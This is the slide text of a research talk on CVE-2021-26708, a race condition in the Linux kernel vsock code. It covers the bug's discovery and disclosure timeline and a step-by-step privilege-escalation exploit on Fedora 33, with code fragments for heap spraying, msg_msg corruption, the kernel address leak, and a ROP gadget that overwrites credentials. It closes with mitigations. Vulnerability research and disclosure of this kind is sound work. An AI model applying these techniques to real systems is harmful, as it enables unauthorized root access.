Four Bytes of Power: Exploiting CVE-2021-26708 in the Linux Kernel

Alexander Popov

Positive Technologies

April 9, 2021
About Me

- Alexander Popov
- Linux kernel developer since 2013
- Security researcher at POSITIVE TECHNOLOGIES
Agenda

1. CVE-2021-26708 overview
   - Bugs and fixes
   - Disclosure procedure

2. Exploitation for local privilege escalation on x86_64
   - Hitting the race condition
   - Four-byte memory corruption
   - Long way to arbitrary read/write

3. Exploit demo on Fedora 33 Server bypassing SMEP and SMAP

4. Possible exploit mitigation
CVE-2021-26708 Overview

- LPE in the Linux kernel
- Bug type: race condition
- Refers to 5 similar bugs in the virtual socket implementation
- Major Linux distros ship `CONFIG_VSOCKETS` and `CONFIG_VIRTIO_VSOCKETS` as a kernel modules
The vulnerable modules are automatically loaded.

Just create a socket for the AF_VSOCK domain:

```c
vsock = socket(AF_VSOCK, SOCK_STREAM, 0);
```

That’s available for unprivileged users.

User namespaces are not needed for that.
I used the syzkaller fuzzer with custom modifications

KASAN got a suspicious kernel crash in

\texttt{virtio\_transport\_notify\_buffer\_size()}

The fuzzer failed to reproduce this crash 😞

I inspected the source code and developed the reproducer manually
I found a confusing bug in `vsock_stream_setsockopt()`:

```c
struct sock *sk;
struct vsock_sock *vsk;
const struct vsock_transport *transport;

sk = sock->sk;
vsk = vsock_sk(sk);
transport = vsk->transport;

lock_sock(sk);
```

Let me look at it...
I found a confusing bug in \texttt{vsock\_stream\_setsockopt}:

```c
struct sock *sk;
struct vsock_sock *vsk;
const struct vsock_transport *transport;

sk = sock->sk;
vsk = vsock_sk(sk);
transport = vsk->transport;
/* vsk->transport value may change here! */
lock_sock(sk);
```

Wait... What?
Bugs

- `vsk->transport` may change **when** the socket lock is **not** acquired.
- In that case, the local variable value is out-of-date.
- That is an obvious race condition bug.
- I found **five** similar bugs in `net/vmw_vsock/af_vsock.c`.
- Searching the git history helped to understand the reason.
Initially, the transport for a virtual socket was not able to change.

The bugs were implicitly introduced in November 2019 when VSOCK multi-transport support was added.

Fixing this vulnerability is trivial:

```c
sk = sock->sk;

vsk = vsock_sk(sk);

- transport = vsk->transport;

lock_sock(sk);

+ transport = vsk->transport;
```
Timeline: Part 1

- November 14, 2019 – Bugs were introduced
- January 7, 2021 – My custom syzkaller got a crash
- January 11, 2021 – I started the investigation
- January 30, 2021
  - My PoC exploit and fixing patch were ready
  - I sent the crasher and patch to security@kernel.org
  - Review started
I got very prompt replies from Linus Torvalds and Greg Kroah-Hartman.

We concluded on this procedure:

- sending my patch to LKML in public
- merging it to the upstream and backporting to the stable trees
- informing the distros about the security-relevance via linux-distros ML
- disclosing that at oss-security@lists.openwall.com when distros allow me

The first step is questionable, though.
Linus decided to merge my patch without any disclosure embargo

**Linus:**

“This patch doesn't look all that different from the kinds of patches we do every day”

I obeyed and proposed that I should send it to LKML in public

**Rationale**

Timeline: Part 2

- **February 2, 2021** – The v2 of my patch was merged into Linus’ tree

- **February 4, 2021**
  - Greg applied it to the affected stable trees
  - I informed linux-distros ML that the fixed bugs are exploitable
  - I asked how much time Linux distros need before my public disclosure
  - But I got this reply:
    
    If the patch is committed upstream, then the issue is public. Please send to oss-security immediately.

  - I made the public announcement: [https://seclists.org/oss-sec/2021/q1/107](https://seclists.org/oss-sec/2021/q1/107)

- **February 5, 2021** – CVE-2021-26708 is assigned
Pondering over the Disclosure Procedure

The question is rising:
Is this "merge ASAP" procedure compatible with the linux-distros mailing list?

Counter-example: how I reported CVE-2017-2636 to security@kernel.org

- Kees Cook and Greg organized a one-week disclosure embargo
- Linux distributions in the linux-distros ML integrated my fix in their security updates in no rush
- Security updates were published synchronously when the embargo ended
- More info in this article: https://a13xp0p0v.github.io/2017/03/24/CVE-2017-2636.html
NOW ABOUT THE MEMORY CORRUPTION
I exploited the race condition in `vsock_stream_setsockopt()`.

Reproducing it requires two threads.

The first one calls `setsockopt()`:

```c
setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
          &size, sizeof(unsigned long));
```

The second thread should change the virtual socket transport.
Changing VSOCK Transport

- It is performed by reconnecting to the virtual socket:

```c
struct sockaddr_vm addr = {
    .svm_family = AF_VSOCK,
};
addr.svm_cid = VMADDR_CID_LOCAL;
connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
addr.svm_cid = VMADDR_CID_HYPERVISOR;
connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
```

- Meanwhile, `vsock_stream_setsockopt()` in a parallel thread is trying to acquire the lock.
Thread 1: reconnecting to vsock

```c
vsock_stream_connect() /* VMADDR_CID_LOCAL */

vsock_stream_connect() /* VMADDR_CID_HYPERVISOR */
lock_sock() /* locked successfully */
vsock_assign_transport()
  vsock_deassign_transport()
    virtio_transport_destruct()
    kfree(virtio_vsock_sock)
  vsk->transport = NULL
release_sock()
```

Thread 2: setsockopt() for vsock

```c
vsock_stream_setsockopt()

transport = vsk->transport
lock_sock() /* can’t lock, waiting */

/* finally locked successfully, proceed */
vsock_update_buffer_size()
  transport->notify_buffer_size()
    virtio_transport_notify_buffer_size()
    virtio_vsock_sock->buf_alloc = *val /* UAF */
```
Using Out-of-date Value From a Local Variable

VSOCK_STREAM_SETSOCKOPT()

EH... DID I MISS ANYTHING?
Memory Corruption

- Write-after-free for `virtio_vsock_sock` object
- The size of this object is 64 bytes
- This object lives in `kmalloc-64` slab cache
- The `buf_alloc` field has type `u32` and resides at offset 40
- The value written `buf_alloc` is controlled by the attacker
- Four controlled bytes are written to the freed memory
syzkaller didn’t manage to reproduce this crash
I had to develop the reproducer manually
But why did the fuzzer fail to do that?
Looking at `vsock_update_buffer_size()` code gives the answer:

```c
if (val != vsk->buffer_size &&
    transport && transport->notify_buffer_size)
    transport->notify_buffer_size(vsk, &val);

vsk->buffer_size = val;
```
For memory corruption, `setsockopt()` should be called with different `SO_VM_SOCKETS_BUFFER_SIZE` value each time.

A fun hack from my first reproducer:

```c
struct timespec tp;
unsigned long size = 0;

clock_gettime(CLOCK_MONOTONIC, &tp);
size = tp.tv_nsec;
setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
         &size, sizeof(unsigned long));
```
Upstream **syzkaller** doesn’t do things like that

Syscall params are chosen when **syzkaller** generates fuzzing inputs

Inputs **don’t change** when the fuzzer executes them on the target

I still don’t completely understand how **syzkaller** got this crash 😞

**syzkaller** did some **lucky multithreaded magic** with **vsock** buffer size limits but then **failed to reproduce it**
NOW ABOUT EXPLOITATION, STEP BY STEP
I've chosen **Fedora 33 Server** as the exploitation target

The kernel version: **5.10.11-200.fc33.x86_64**

I had a goal to bypass **SMEP** and **SMAP**

Bypassing **KASLR** is included, of course
Write-after-free of a 4-byte controlled value to a 64-byte kernel object at offset 40

- That’s quite limited memory corruption
- I had a hard time turning it into a real weapon

Here and further I use images of the artifacts from the State Hermitage Museum in Russia. I love this wonderful museum!
I started to work on stable heap spraying

The exploit should perform some userspace activity that makes the kernel allocate another 64-byte object at the location of freed virtio_vsock_sock

4-byte write-after-free should corrupt the sprayed object instead of unused free kernel memory
Experimental Heap Spraying

- I made quick experimental spraying with `add_key` syscall
- I called `add_key` several times right after the second `connect()` to `vsock` while a parallel thread finishes the corrupting `setsockopt()`
- `ftrace` allowed to confirm that the freed `virtio_vsock_sock` is overwritten
- I saw that successful heap spraying was possible
- **The next step:** finding a 64-byte kernel object that can provide a stronger exploit primitive when it has four corrupted bytes at offset 40
- Huh, not so easy!
The iovec Technique is Useless Here

- I tried iovec technique from the *Bad Binder* by Maddie Stone and Jann Horn

  A carefully corrupted iovec object can be used
  for arbitrary read/write

- No, I got triple fail with this idea:
  - 64-byte iovec is allocated on the kernel stack, not the heap
  - Four bytes at offset 40 overwrite iovec.iov_len, not iovec.iov_base
  - This iovec exploitation trick is dead since the Linux kernel version 4.13,
    awesome Al Viro killed it with the commit 09fc68dc66f7597b in June 2017
I had exhausting experiments with various kernel objects suitable for heap spraying.

I found `msgsnd()` syscall that creates `struct msg_msg` in the kernelspace:

```c
/* message header */
struct msg_msg {
    struct list_head m_list; /* 0 16 */
    long int m_type; /* 16 8 */
    size_t m_ts; /* 24 8 */
    struct msg_msgseg * next; /* 32 8 */
    void * security; /* 40 8 */
};
/* message data follows */
```

If `struct msgbuf` in the userspace has 16-byte `mtext`, the corresponding `msg_msg` is created in `kmalloc-64` slab cache, just like `virtio_vsock_sock`!
The 4-byte write-after-free can **corrupt** the void *security pointer at offset 40:

```c
/* message header */
struct msg_msg {
    struct list_head m_list; /* 0 16 */
    long int m_type; /* 16 8 */
    size_t m_ts; /* 24 8 */
    struct msg_msgseg * next; /* 32 8 */
    void * security; /* 40 8 */
};
/* message data follows */
```

Jokingly, I used this **security** field to **break** Linux security 😞
Arbitrary Free

- `msg_msg.security` points to the kernel data allocated by `lsm_msg_msg_alloc()`
- It is used by SELinux in the case of Fedora
- It is freed by `security_msg_msg_free()` when `msg_msg` is received
- Corrupting 4 least significant bytes of `msg_msg.security` provides arbitrary free!
- That is a much stronger exploit primitive
After achieving arbitrary free I started to think about where to aim it.

And here I used the trick from my **CVE-2019-18683 exploit**:

- Second `connect()` to `vsock` calls `vsock_deassign_transport()`.
- It sets `vsk->transport` to `NULL`.
- That makes the vulnerable `setsockopt()` hit the kernel warning.
- It happens in `virtio_transport_send_pkt_info()` just after UAF.
- My exploit can parse this kernel warning and extract useful info!
WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G W 5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS: 00007f2f123d5640(0000) GS: ffffc9001bd00000(0000) knlGS: 0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000000000503
CR2: 00007f81fff2a000 CR3: 0000000011db96004 CR4: 0000000000370ee0
Call Trace:
    virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]
vsock_update_buffer_size+0x5f/0x70 [vsock]
vsock_stream_setsockopt+0x128/0x270 [vsock]
A quick debugging session with `gdb` showed that:

- RCX contains the kernel address of the freed `virtio_vsock_sock`
- RBX contains the kernel address of `vsock_sock`

On Fedora, **unprivileged users** can open and parse `/dev/kmsg`

If **one more warning** arrives at the kernel log, the exploit won **one more race**

The exploit can parse the kernel log and **get the addresses from the registers**
Further Exploitation Plan

My further exploitation plan was to use arbitrary free for use-after-free:

1. Free some object at the address that leaked in the kernel warning
2. Perform heap spraying to overwrite that object with controlled data
3. Get more power using the corrupted object
Arbitrary free for `vsock_sock` address (from RBX) is useless.

It lives in a dedicated slab cache where I can’t do heap spraying.

So I invented how to exploit `use-after-free` on `msg_msg` (from RCX).

For overwriting `msg_msg` I used wonderful `setxattr()` & `userfaultfd()` heap spraying technique by Vitaly Nikolenko.
Arbitrary Read with msg_msg: Part 1

Original struct msg_msg

```c
struct list_head m_list = 0xffff8881XXXXXXXX;
long int m_type = 1;
size_t m_ts = 16;
struct msg_msgseg *next = NULL;
void *security = 0xffff8881YYYYYYYY;
```

msg_msg data

Overwritten struct msg_msg

```c
struct list_head m_list = 0xa5a5a5a5a5a5a5a5;
long int m_type = 0x1337;
size_t m_ts = 6096;
struct msg_msgseg *next = 0xffff8881ZZZZZZZZ;
void *security = 0xffff8881YYYYYYYY;
```

msg_msg data

kernel data for reading

Fake struct msg_msgseg

kernel data for reading
Receiving this crafted `msg_msg` manipulates the System V message queue.

That breaks the kernel because the `msg_msg.m_list` pointer is invalid 😞

`msgrcv()` documentation for the win!

`MSG_COPY` flag allows fetching a copy of the message nondestructively 😊
1. Get the kernel address of a good `msg_msg`
   - win the race on a virtual socket
   - call spraying `msgsnd()` after the memory corruption
   - parse `/dev/kmsg` and get the kernel address of this good `msg_msg` from RCX
   - also, save the kernel address of `vsock_sock` from RBX
2. Execute arbitrary free against good msg_msg using a corrupted msg_msg

```c
struct list_head m_list = 0xffff8881XXXXXXX;
long int m_type = 1;
size_t m_ts = 16;
struct msg_msgseg *next = NULL;
void *security = 0xffff8881ZZZZZZZZZ;
```

```c
struct list_head m_list = 0xffff8881NNNNNNNN;
long int m_type = 1;
size_t m_ts = 16;
struct msg_msgseg *next = NULL;
void *security = 0xffff8881YYYYYYYYY;
```
Exploiting Arbitrary Read (3)

3. Overwrite good `msg_msg` with controlled data using `setxattr()` & `userfaultfd()`
4. Read `vsock_sock` to the userspace using `msgrcv()` for the overwritten `msg_msg`.

```c
ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0, 
              IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
```

Exploiting Arbitrary Read (4)
That’s what I found inside the `vsock_sock` kernel object:

1. Plenty of pointers to objects from dedicated slab caches 😞
2. `struct mem_cgroup *sk_memcg` pointer at offset 664
   - `mem_cgroup` objects live in the `kmalloc-4k` slab cache 😋
   - I tried to call `kfree()` for it and the kernel panicked instantly 😞
3. `const struct cred *owner` pointer at offset 840
   - It points to the credentials that I want to overwrite for privilege escalation
   - It’s a pity that `cred` lives in dedicated `cred_jar` slab cache 😞
4. `void (*sk_write_space)(struct sock *)` function pointer at offset 688
   - It is set to the address of `sock_def_write_space()` kernel function
   - That can be used for calculating the KASLR offset 😞
I used it in my *exploit for CVE-2017-2636* in the Linux kernel.

I turned double free for a `kmalloc-8192` object into use-after-free on `sk_buff`.

I decided to repeat that trick.

- A network-related buffer in the kernel is represented by `sk_buff`.
- This object has `skb_shared_info` with `destructor_arg`.
- Creating a **2800**-byte network packet in the userspace will make `skb_shared_info` be allocated in the `kmalloc-4k` slab cache.
- That’s where `mem_cgroup` objects live as well!
Use-after-free on sk_buff

1. Create one client socket and 32 server sockets (for AF_INET, SOCK_DGRAM, IPPROTO_UDP)

2. Send a 2800-byte buffer filled with 0x42 to each server socket using sendto()

3. Perform arbitrary read for vsock_sock (described earlier)

4. Calculate possible sk_buff kernel address as sk_memcg plus 4096 (the next element in kmalloc-4k)

5. Perform arbitrary read for this possible sk_buff address

6. If 0x42 bytes are found, perform arbitrary free against the sk_buff

7. Otherwise, add 4096 to the possible sk_buff address and go to step 5
The Payload for Overwriting skb_shared_info

void (*callback)(struct ubuf_info *, bool)
long unsigned int desc
...

xattr payload for overwriting sk_buff

MY_UINFO_OFFSET = 256

SKB_SHINFO_OFFSET = 3776

skb_shared_info

tx_flags
destructor_arg
...
I didn’t manage to find a stack pivoting gadget in `vmlinuz-5.10.11-200.fc33.x86_64` that can work in my restrictions.

So I performed arbitrary write in one shot 😊

SMEP and SMAP protection is bypassed!

```c
/*
 * A single ROP gadget for arbitrary write:
 * mov rdx, qword ptr [rdi + 8]; mov qword ptr [rdx + rcx*8], rsi; ret
 * Here rdi stores uinfo_p address, rcx is 0, rsi is 1
 */
```

```c
uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */
```
Arbitrary Write Using skb_shared_info

This weapon is used twice to get root privileges:

1. Write zeros to effective uid and gid
2. Write zeros to uid and gid
Demo Time

Alexander Popov
CVE-2021-26708: PoC Exploit Demo
Possible Exploit Mitigation

- Exploiting this vulnerability is **impossible** with the Linux kernel heap quarantine
  - Because this memory corruption happens very shortly after the race condition
  - See the [article](#) about my SLAB_QUARANTINE prototype

- Against kernel module autoloading by unprivileged users – grsecurity MODHARDEN
- Against userfaultfd() abuse – setting `/proc/sys/vm/unprivileged_userfaultfd` to 0
- Against infoleak via kernel log – setting `kernel.dmesg_restrict` sysctl to 1
- Against calling my ROP gadget –
  - Control Flow Integrity (see the technologies on my [Linux Kernel Defence Map](#))
- Against use-after-free (hopefully in the future) –
  - ARM Memory Tagging Extension (MTE) support for the kernel, on ARM
- [rumors] Against heap spraying –
  - grsecurity Wunderwaffe called AUTOSLAB (we don’t know much about it)
In Conclusion

- Investigating and fixing CVE-2021-26708, developing the PoC exploit, and preparing this talk was a big deal for me.

- I hope you enjoyed it!

- I managed to turn the race condition with a very limited memory corruption into arbitrary read/write for the Linux kernel memory.

- I will publish a large and detailed write-up very soon.
Thanks! Send me your questions!

alex.popov@linux.com
@a13xp0p0v

http://blog.ptsecurity.com/
@ptsecurity

POSITIVE TECHNOLOGIES